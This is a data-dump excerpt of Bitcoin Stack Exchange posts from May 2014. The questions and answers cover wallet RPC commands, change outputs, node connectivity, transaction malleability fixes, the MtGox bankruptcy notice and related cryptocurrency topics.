  <row Id="25510" PostTypeId="1" AcceptedAnswerId="25512" CreationDate="2014-05-22T07:49:55.020" Score="2" ViewCount="117" Body="&lt;p&gt;When using the &lt;code&gt;sendtoaddress&lt;/code&gt; command, does the Bitcoin client automatically place the change address at &lt;code&gt;vout&lt;/code&gt; array position 0?&#xA;I would assume so, because bitcoin works through a sequence of procedures.&lt;/p&gt;&#xA;" OwnerUserId="15533" LastEditorUserId="5406" LastEditDate="2014-05-22T09:21:24.947" LastActivityDate="2014-05-22T14:46:04.927" Title="Is the change address always at the same position in the vout array of a raw transaction?" Tags="|bitcoind|raw-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25511" PostTypeId="2" ParentId="25334" CreationDate="2014-05-22T13:53:20.963" Score="1" Body="&lt;p&gt;The generation of new coins does create transactions, per se. &lt;a href=&quot;https://blockchain.info/tx/da6196cc25039d95fae74830087d68d9d4b07ce29a727067126841956559ea56&quot; rel=&quot;nofollow&quot;&gt;This is a block reward from the Eligius pool.&lt;/a&gt; After the block is found, this transaction is included in the next block. If miners do not build on that block, then the reward is never given. Now, it's not a transaction, technically, but in the spirit of this question, yes, it is basically the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Satoshi first started Bitcoin, it was probably just him and a few friends. I haven't looked, but I would bet that at least the first few blocks in the chain have no transactions except the block reward. That wasn't a problem at the time and I don't see why it would be now. The miner would still have to do the proof of work, even though there was no work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pragmatically, if the Bitcoin network devolved to a state where no one was trading it, yes, it would be because it was dead and worthless. There would probably still be a few miners, like me, that would continue to mine for a while, just in case it made a comeback some how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Premining, I believe comes in two types. The first is as you suggest: A small group of people mine the coin privately for a time; whether there are transactions during this time or not doesn't really matter. The second is that the genesis block has a higher reward; sometimes it is much, much higher than the following blocks.&lt;/p&gt;&#xA;" OwnerDisplayName="user4276" LastEditorDisplayName="user4276" LastEditDate="2014-05-22T14:28:07.220" LastActivityDate="2014-05-22T14:28:07.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25512" PostTypeId="2" ParentId="25510" CreationDate="2014-05-22T14:46:04.927" Score="1" Body="&lt;p&gt;No, it picks a random position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose is to make it hard for people observing the blockchain to know which is change and which is the payment, as that would make tracing easier. This is also the reason why change outputs use new keys to send to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that there has been a bug for a long time that made it always end up in the same position. It was fixed over a year ago, IIRC.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-05-22T14:46:04.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25513" PostTypeId="1" CreationDate="2014-05-22T15:35:40.327" Score="1" ViewCount="101" Body="&lt;p&gt;Running a Scrypt mining rig using GPUs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Want to know if there's a way to monitor your hash rate over time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pool stats arent that reliable from what I understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CG Watcher, does a decent job, but its chart is limited in range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other software of pool that would offer more data / reporting ?&lt;/p&gt;&#xA;" OwnerUserId="14263" LastEditorUserId="5406" LastEditDate="2017-12-23T19:47:39.580" LastActivityDate="2017-12-23T19:47:39.580" Title="How to monitor hash rate over time to diagnose issues" Tags="|miner-configuration|hashpower|scrypt|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25514" PostTypeId="1" CreationDate="2014-05-22T18:13:18.447" Score="1" ViewCount="1105" Body="&lt;p&gt;I am running two altcoin clients on different network, connected by VPN. The addnode  command works fine, and nodes connects. But what to do if I want others to connect to my network? The ip addresses i have are local subnet addresses. &lt;/p&gt;&#xA;" OwnerUserId="16869" LastActivityDate="2015-01-29T15:30:15.697" Title="How to connect nodes globally?" Tags="|altcoin|nodes|peers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25515" PostTypeId="1" AcceptedAnswerId="30688" CreationDate="2014-05-22T18:40:08.590" Score="3" ViewCount="97" Body="&lt;p&gt;Quoth &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/release-notes/release-notes-0.9.0.md#transaction-malleability-related-fixes&quot; rel=&quot;nofollow&quot;&gt;Bitcoin release-notes-0.9.0.md&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This release contains a few fixes for transaction ID (TXID)&#xA;  malleability issues:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;-nospendzeroconfchange command-line option, to avoid spending zero-confirmation change&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;IsStandard() &lt;strong&gt;transaction rules tightened&lt;/strong&gt; to &lt;strong&gt;prevent relaying and mining of mutated transactions&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Additional information in listtransactions/gettransaction output to report wallet transactions that conflict with each other because they&#xA;  spend the same outputs.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Bug fixes to the getbalance/listaccounts RPC commands, which would report incorrect balances for double-spent (or mutated) transactions.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;New option: -zapwallettxes to rebuild the wallet's transaction information&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What does &quot;transaction rules tightened&quot; mean and how does it prevent relaying and mining of mutated transactions?&#xA;Since mutated transactions are also &lt;strong&gt;valid&lt;/strong&gt; transactions, how can the client tell &lt;em&gt;original&lt;/em&gt; transactions apart from mutated ones?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are powerful adversaries still able to abuse this feature after the update?&lt;/p&gt;&#xA;" OwnerUserId="1475" LastEditorUserId="1475" LastEditDate="2014-09-27T10:03:44.840" LastActivityDate="2014-09-27T10:29:28.240" Title="How are mutated transactions prevented from getting relayed?" Tags="|client|security|transaction-malleability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25516" PostTypeId="2" ParentId="25514" CreationDate="2014-05-22T18:40:11.083" Score="1" Body="&lt;p&gt;You should have at least one node that can be accessed from a public IP address. This might mean setting up your router/firewall to forward your altcoin's port to the internal IP address of the machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might hardcode this (public) IP into your altcoin code if it's static (it sounds like this is a very small, probably made by you, altcoin), and/or hardcode DNS server(s) that point to known node(s) (maybe use &lt;a href=&quot;http://www.noip.com/&quot; rel=&quot;nofollow&quot;&gt;No-IP&lt;/a&gt; if you're looking for a free/cheap approach with a dynamic IP). These are the same &lt;a href=&quot;https://en.bitcoin.it/wiki/Satoshi_Client_Node_Discovery&quot; rel=&quot;nofollow&quot;&gt;techniques that Bitcoin Core uses&lt;/a&gt; to discover your first peers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once a new client has connected to its first peer, the peer will tell you about more peers, etc.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-05-22T18:40:11.083" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25518" PostTypeId="1" CreationDate="2014-05-22T19:50:52.907" Score="3" ViewCount="448" Body="&lt;p&gt;I'm reading about &lt;code&gt;deterministic wallets&lt;/code&gt;, I get the point, but it get's confusing when you actually start setting up things. I have to install support for generating &quot;whatever&quot;-coin addresses on a server. Where do I start, how should it be done? People are talking about importing keys from a seed. OK great but again, how? People talk about using different wallets. Should I use one of the existing wallets? How can I create my own wallet? Is there a console-based step by step tutorial that you can apply to any crypto-coin network/wallet? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I use &lt;code&gt;bitcoind&lt;/code&gt; for communicating with bitcoin network. It's the only good-enough documented piece of code. Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="11962" LastActivityDate="2014-05-30T08:53:07.353" Title="Deterministic Wallet Step By Step" Tags="|wallet|bitcoind|deterministic-wallets|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25520" PostTypeId="1" CreationDate="2014-05-22T20:34:25.930" Score="0" ViewCount="1814" Body="&lt;p&gt;listtransactions - 9 provides the latest transactions and actually all =) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to get all transactions?&lt;/p&gt;&#xA;" OwnerUserId="12768" LastActivityDate="2020-05-03T19:06:16.140" Title="How to get a complete list of transactions?" Tags="|transactions|json-rpc|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25521" PostTypeId="2" ParentId="25473" CreationDate="2014-05-22T20:41:38.253" Score="5" Body="&lt;p&gt;&lt;code&gt;listaddressgroupings&lt;/code&gt; is a RPC call that really could have been left an internal method, but the core devs decided to expose it in order to give users more control and awareness of Bitcoin's privacy issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me explain:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you probably know, when you make a purchase, the bitcoind or bitcoin-qt client (which both use bitcoin-core) return your change by default to a new address.  Well, if decide to use that address for another transaction, you have created a chain of &quot;connectable&quot; transactions.  If you're not careful, there are various other ways that you can create connected transactions (like always using the same receiving address).  However, if you already generate a new address to receive Bitcoins, this isn't a problem.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are already numerous programs available that have the ability to scan the blockchain and list such connected transaction chains, which are definite proof that the addresses in question are or have been in the same wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;listaddressgroupings&lt;/code&gt; is a method that allow users to have the same ability to discern which groups of their addresses are connected on the public blockchain.  It allows users to use the (relatively) new coin control functionality with greater awareness of potential privacy-revealing issues.&lt;/p&gt;&#xA;" OwnerUserId="3212" LastActivityDate="2014-05-22T20:41:38.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25522" PostTypeId="2" ParentId="25520" CreationDate="2014-05-22T20:44:40.980" Score="1" Body="&lt;pre&gt;&lt;code&gt;listtransactions &quot;&quot; 9999999999&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The number at the end is the number of transactions to list. Instead of just 9, if you set a number there larger than the number of transaction (I'm assuming you have less than 9999999999 transactions), you'll get all transactions. Here's the &lt;a href=&quot;https://bitcoin.org/en/developer-reference#listtransactions&quot; rel=&quot;nofollow noreferrer&quot;&gt;API documentation&lt;/a&gt;, for reference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;listtransactions [label] [count] [skip]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if a &lt;code&gt;label&lt;/code&gt; name is provided, this will return only incoming transactions paying to addresses with the specified label.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;count&lt;/code&gt; is the number of transactions to return (default 10)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;skip&lt;/code&gt; is the number of transactions to skip (default 0)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example to list transactions 100 to 120&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli listtransactions &quot;*&quot; 20 100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="13866" LastEditDate="2020-05-02T10:35:15.973" LastActivityDate="2020-05-02T10:35:15.973" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25523" PostTypeId="1" CreationDate="2014-05-22T20:58:22.960" Score="-2" ViewCount="20" Body="&lt;p&gt;As it &#xA;         &quot;time&quot;: 1400789570, &#xA;         &quot;timereceived&quot;: 1400789570 &#xA; &#xA; &#xA;  decipher in normal view?&lt;/p&gt;&#xA;" OwnerUserId="12768" LastActivityDate="2014-05-23T07:42:46.183" Title="As it time decipher in normal view?" Tags="|bitcoind|time|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2014-05-25T22:03:40.340" ContentLicense="CC BY-SA 3.0" />
  <row Id="25524" PostTypeId="2" ParentId="30248" CreationDate="2014-05-22T21:21:21.550" Score="1" Body="&lt;p&gt;The times that you are looking at are using a format known as &lt;a href=&quot;http://en.wikipedia.org/wiki/Unix_time&quot; rel=&quot;nofollow&quot;&gt;unix time or Epoch time&lt;/a&gt;. It is represented as the seconds since 00:00:00 &lt;a href=&quot;http://en.wikipedia.org/wiki/Coordinated_Universal_Time&quot; rel=&quot;nofollow&quot;&gt;UTC&lt;/a&gt; on 1st of January 1970.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most programming languages have classes dedicated to format them into human readable times.&#xA;For example in &lt;code&gt;python&lt;/code&gt; you can use &lt;a href=&quot;https://docs.python.org/2/library/datetime.html#module-datetime&quot; rel=&quot;nofollow&quot;&gt;datetime&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-05-23T07:42:46.183" LastActivityDate="2014-05-23T07:42:46.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25525" PostTypeId="2" ParentId="23743" CreationDate="2014-05-22T21:58:36.570" Score="1" Body="&lt;p&gt;I believe that is what the &lt;a href=&quot;http://wiki.nxtcrypto.org/wiki/Nxt_Wiki&quot; rel=&quot;nofollow&quot;&gt;NXT&lt;/a&gt; project is attempting to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a from scratch implementation of the ideas introduced by Bitcoin et al. They use Proof-of-Stake and claim to provide &quot;built-in support for robust features such as a decentralized peer-to-peer exchange, voting system, messaging/chat, decentralized DNS, and options for instant transactions&quot;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-05-22T21:58:36.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25526" PostTypeId="1" CreationDate="2014-05-23T00:07:45.947" Score="2" ViewCount="490" Body="&lt;p&gt;I am wondering whether there are any services that offer some API like blockchain.info does but for multiple currencies at the same time. I know there are a lot of block explorers out there, but they appear to be disjointed and focused on one currency at a time.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="121614" LastEditDate="2021-12-27T16:47:56.027" LastActivityDate="2021-12-27T16:47:56.027" Title="Are there any services offering blockchain.info-like API for multiple currencies?" Tags="|api|altcoin|services|blockchain-explorer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25527" PostTypeId="2" ParentId="22641" CreationDate="2014-05-23T01:51:15.923" Score="4" Body="&lt;p&gt;I received this email:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;To whom it may concern,&lt;/p&gt;&#xA;&lt;p&gt;At 5:00 p.m. on April 24, 2014, the Tokyo&#xA;District Court granted the order for the commencement of the&#xA;bankruptcy proceedings vis-à-vis MtGox Co., Ltd. (“MtGox”), and based&#xA;upon such order, I was appointed as the bankruptcy trustee (Tokyo&#xA;District Court 2014 (fu) no. 3830). The bankruptcy trustee will&#xA;implement the bankruptcy proceedings, including the administration and&#xA;realization of the assets and investigation of the claims. For the&#xA;purpose of providing information to the related parties, we hereby&#xA;inform you of the basic matters regarding the bankruptcy proceedings&#xA;as attached.&lt;/p&gt;&#xA;&lt;p&gt;This email address（mtgox_trustee@noandt.com） is used&#xA;only for the purpose of sending messages, and we are unable to check&#xA;and respond to any replies to this email address. Since we plan to&#xA;provide the information regarding the bankruptcy proceedings by&#xA;posting it on the website hosted by the bankruptcy trustee (&#xA;&lt;a href=&quot;http://www.mtgox.com/&quot; rel=&quot;noreferrer&quot;&gt;http://www.mtgox.com/&lt;/a&gt; ), please check this website.&lt;/p&gt;&#xA;&lt;p&gt;Bankrupt MtGox Co., Ltd. Bankruptcy trustee Attorney-at-law Nobuaki Kobayashi&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;One of the links on the mtgox site had a &lt;a href=&quot;http://www.mtgox.com/img/pdf/20140424_announce_qa_en.pdf&quot; rel=&quot;noreferrer&quot;&gt;Q&amp;amp;A section&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Q. Please return the bitcoins and cash that I deposited with the Company.&lt;br /&gt;&#xA;A. We will make the liquidating distribution to the bankruptcy claims if funds for distribution are secured. With regard to the liquidating distribution under the bankruptcy proceedings, please see below.&lt;/p&gt;&#xA;&lt;p&gt;Q. How many bitcoins or how much cash does the Company have?&lt;br /&gt;&#xA;A. The actual amount and value of bitcoins and cash of the Company will be investigated by&#xA;the bankruptcy trustee with the cooperation of certain experts, etc.&lt;/p&gt;&#xA;&lt;p&gt;Q. Will the bankruptcy trustee investigate the bitcoins and cash that are said to be lost?&lt;br /&gt;&#xA;A. The bankruptcy trustee will investigate such matters to the extent possible through its&#xA;asset administration. The Company has consulted with the police authority, and the&#xA;bankruptcy trustee will also proactively cooperate with it when such cooperation is&#xA;requested.&lt;/p&gt;&#xA;" OwnerUserId="16910" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-05-23T08:08:10.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25528" PostTypeId="2" ParentId="23865" CreationDate="2014-05-23T03:54:31.460" Score="1" Body="&lt;p&gt;Case #1 wouldn't be arbitrage because it takes so long to transfer coins between exchanges. Arbitrage by definition is risk free profit due to pricing differentials. Sure some may be willing to say being exposed to the market for a second or two isnt particularly risky and should qualify as arbitrage, but it takes a lot longer than a few seconds to transfer coins between exchanges&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Case #2 wouldnt be arbitrage either. By holding coins you're exposing yourself to a great deal of risk.&lt;/p&gt;&#xA;" OwnerUserId="15695" LastActivityDate="2014-05-23T03:54:31.460" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="25529" PostTypeId="2" ParentId="25449" CreationDate="2014-05-23T04:06:14.780" Score="0" Body="&lt;p&gt;There doesnt seem to be a relationship between the &quot;collector table&quot; and the &quot;order table&quot; other than the user_id and amount. And as you said, you're having problems there are multiple transactions from the same user for the same amount. So no, this would not be possible without a better relationship to join the tables. Look in to somehow getting a time stamp for the order_id would be the most obvious way to go about resolving this issue. Without providing details as to how exactly you're obtaining this data, no one is really going to be able to help you further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you should really be posting these questions on another StackExchange site, I doubt there are tons of people here with RDBMS/SQL experience.&lt;/p&gt;&#xA;" OwnerUserId="15695" LastEditorUserId="15695" LastEditDate="2014-05-23T04:11:21.837" LastActivityDate="2014-05-23T04:11:21.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25530" PostTypeId="2" ParentId="25526" CreationDate="2014-05-23T04:58:01.140" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://www.blockcypher.com&quot; rel=&quot;nofollow&quot;&gt;BlockCypher&lt;/a&gt; is adding support for Litecoin, we're currently downloading the LTC block chain and will put it out next week. All the  &lt;a href=&quot;http://dev.blockcypher.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin APIs&lt;/a&gt; will work in the same way for Litecoin.&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-05-23T04:58:01.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25531" PostTypeId="2" ParentId="25509" CreationDate="2014-05-23T05:02:10.013" Score="2" Body="&lt;p&gt;Bitcoin uses TCP. Configure your firewall to open TCP port 8333.&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-05-23T05:02:10.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25532" PostTypeId="2" ParentId="21373" CreationDate="2014-05-23T07:57:16.357" Score="1" Body="&lt;p&gt;No it would not. Due to fees involved with transferring assets between exchanges, and exchange commissions, inter-exchange spreads would still exist. Everyone running bots would at best lower spreads, not eliminate them. &lt;/p&gt;&#xA;" OwnerUserId="15695" LastActivityDate="2014-05-23T07:57:16.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25533" PostTypeId="1" CreationDate="2014-05-23T08:49:48.003" Score="4" ViewCount="1698" Body="&lt;p&gt;I am using bitcoinj (java implementation). I have read many answers here but none of them answers my question. &#xA;How to get senders address using bitcoinj?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have transaction variable tx. I can get it's hash, I have used this as well: &lt;a href=&quot;https://blockchain.info/tx/myTXhash&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/myTXhash&lt;/a&gt; and it showed me the transactions. The problem is not even that web is showing me the sender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BUT:&lt;/strong&gt; if I use that generated .wallet file and open it with multibit (bitcoin wallet) I can see there, under transactions, from who were the money sent. That means there is a way how to get senders address, but HOW? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I was mistaken, multibit does not know from who the money came from, I was just confused because it showed me it was sent to the right address (but that was set up by me in args).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But is there any possibility to get the message somehow from client to know if it is him who sent the money?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="16885" LastEditorUserId="16885" LastEditDate="2014-05-23T09:02:19.510" LastActivityDate="2016-01-21T10:19:50.310" Title="How to get senders address with bitcoinj (no duplicate)?" Tags="|transactions|bitcoinj|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25534" PostTypeId="1" AcceptedAnswerId="25544" CreationDate="2014-05-23T08:55:19.240" Score="4" ViewCount="790" Body="&lt;p&gt;I have a server running bitcoind 9.x, how can I incorporate features such as return addresses to my customers using BIP 70? I have seen the GIT repo but is it something that I have to download or is it already implemented in the bitcoind daemon I'm running?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="15533" LastEditorUserId="2306" LastEditDate="2014-12-13T05:58:44.090" LastActivityDate="2014-12-13T05:58:44.090" Title="How to implement and use BIP 70?" Tags="|bitcoind|bip70-payment-protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25536" PostTypeId="2" ParentId="24812" CreationDate="2014-05-23T10:59:58.180" Score="2" Body="&lt;p&gt;It's not how all exchanges are handling this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitstamp is sending bitcoins in batch transactions. That means it is sending your bitcoins to your address and other users' bitcoins to their address &lt;em&gt;in the same transaction&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means that bitstamp does not yet know the TxId when you submit your withdrawal request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is the why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for how to solve it, yes you can get a new address for each withdrawal and wait for it to get confirmations. You will not be &lt;em&gt;assailable for transaction malleability, double spending or similar&lt;/em&gt; if you do that.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2014-05-23T10:59:58.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25538" PostTypeId="1" CreationDate="2014-05-23T11:41:29.420" Score="3" ViewCount="6306" Body="&lt;p&gt;I have funds in BitPay that I received from several sales on my website. My split is &lt;strong&gt;0% USD&lt;/strong&gt; cash and &lt;strong&gt;100% Bitcoin&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to transfer this Bitcoin balance to another account within BitPay?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, how can I withdraw bitcoins from my account? I cannot find a withdraw option in my dashboard section.&lt;/p&gt;&#xA;" OwnerUserId="15345" LastEditorUserId="5406" LastEditDate="2014-05-23T12:16:39.000" LastActivityDate="2018-10-15T20:16:25.073" Title="How do I withdraw money from BitPay?" Tags="|withdrawal|bitpay|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25539" PostTypeId="2" ParentId="25538" CreationDate="2014-05-23T11:44:45.017" Score="4" Body="&lt;p&gt;According to their support &lt;a href=&quot;https://support.bitpay.com/hc/en-us/articles/201890513-Getting-Paid&quot; rel=&quot;nofollow&quot;&gt;site&lt;/a&gt; it should be on it's way without you doing a thing. I quote:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you choose to take settlement in bitcoin, BitPay will forward bitcoin payments to your bitcoin address on file. The minimum settlement is 0.01 BTC.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Maybe look on blockchain if there is an unconfirmed transaction to your address or &lt;a href=&quot;https://multibit.org/help_resetBlockchain.html&quot; rel=&quot;nofollow&quot;&gt;reset&lt;/a&gt; Multibit if you are using that. Or you haven't hit the minimum settlement of 0.01 BTC.&lt;/p&gt;&#xA;" OwnerUserId="15412" LastEditorUserId="12034" LastEditDate="2014-05-23T12:13:37.790" LastActivityDate="2014-05-23T12:13:37.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25540" PostTypeId="1" AcceptedAnswerId="25546" CreationDate="2014-05-23T12:58:49.730" Score="7" ViewCount="2200" Body="&lt;p&gt;I like to find the Input Address and Amount for a vin like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;vin&quot;: [&#xA;    {&#xA;        &quot;txid&quot;: &quot;e3f0e88ce224d342a0189c1b9d2fd488d8bda2f303dbe1e1dbbaa5f51d9f4a53&quot;,&#xA;        &quot;vout&quot;: 1,&#xA;        &quot;scriptSig&quot;: {&#xA;            &quot;asm&quot;: &quot;3044022036c454ee41d67ee7c00fade55d57b573794916c1e1d9f301a038547daa5fcc0502202c99917b5590adf2ede1b8e3a6773369690a268c7b445664223ec8f92288e81e010272491cc9c405bfdc35f766bd849ddc58268088c202425cec224aa05cbf8547be&quot;&#xA;        },&#xA;        &quot;sequence&quot;: 4294967295,&#xA;        &quot;n&quot;: 0,&#xA;        &quot;unconfirmedInput&quot;: 1&#xA;    }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is from txid: f4f2ddb44a8d155bc795e3e7497714fd6a1f035a6438b22403a7faa67012b9ec&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="16922" LastEditorUserId="12034" LastEditDate="2014-05-23T18:12:08.773" LastActivityDate="2018-05-04T06:36:47.053" Title="How to get the Input Address from vin where only a txid is given (Insight-Api)" Tags="|transactions|address|api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25541" PostTypeId="1" AcceptedAnswerId="25545" CreationDate="2014-05-23T13:15:42.637" Score="5" ViewCount="1128" Body="&lt;p&gt;I've just a dumb (Probably) question about bitcoin wallet and addresses (in Armory):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I've understood correctly (Correct me If I'm wrong), a wallet works as a &quot;container&quot; where you can store different addresses (With their respective private keys). So for example, through Armory, I can create a wallet and inside the wallet I can create as many addresses as I want, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, If I've created ten different addresses to receive payments, I just have to give one of the addresses (Of the wallet) to a person that has to send a payment to me. Let's say that I've received a payment of 1 BTC for each address; so I would have 10 BTC inside the wallet. When I want to send these 10 BTC to an X address, I just have to click on &quot;Send Bitcoins&quot; (then insert the requested data) and then Armory will send the 10 BTC (1 for each addresses) to the other address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(BTW: Do I ever need to insert the bitcoin private key of an address to send a transaction, or I only need to insert the password for the wallet to be able to send the transaction?) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore 10 different transactions would appear on the blockchain? (1 transaction for each Address that I have inside the wallet). And someone can know that these 10 transactions have been sent by the same wallet, or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any answer, as always :)&lt;/p&gt;&#xA;" OwnerUserId="15788" LastActivityDate="2014-05-23T14:49:51.387" Title="A clarification about Wallet and Addresses (In Armory)" Tags="|transactions|wallet|blockchain|armory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25542" PostTypeId="1" AcceptedAnswerId="25543" CreationDate="2014-05-23T13:52:23.357" Score="3" ViewCount="3166" Body="&lt;p&gt;Consider &lt;a href=&quot;https://blockchain.info/tx/948a4275c9283110e915cbf51eec6831b4736b01dd2f10f084bb95e46aee1f36&quot; rel=&quot;nofollow noreferrer&quot;&gt;the transaction 948a427..&lt;/a&gt; which has 3341 confirmations as of now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kv2dA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can see that the time the relay is received at 8:36:30 and it has one confirmation at 08:50:04 (after 14 minutes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do we find out the exact time when it has 3 confirmations?&lt;/p&gt;&#xA;" OwnerUserId="1475" LastActivityDate="2014-05-24T15:41:25.273" Title="How do we check the time when a transaction hits x confirmations?" Tags="|blockchain|confirmations|timestamp|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
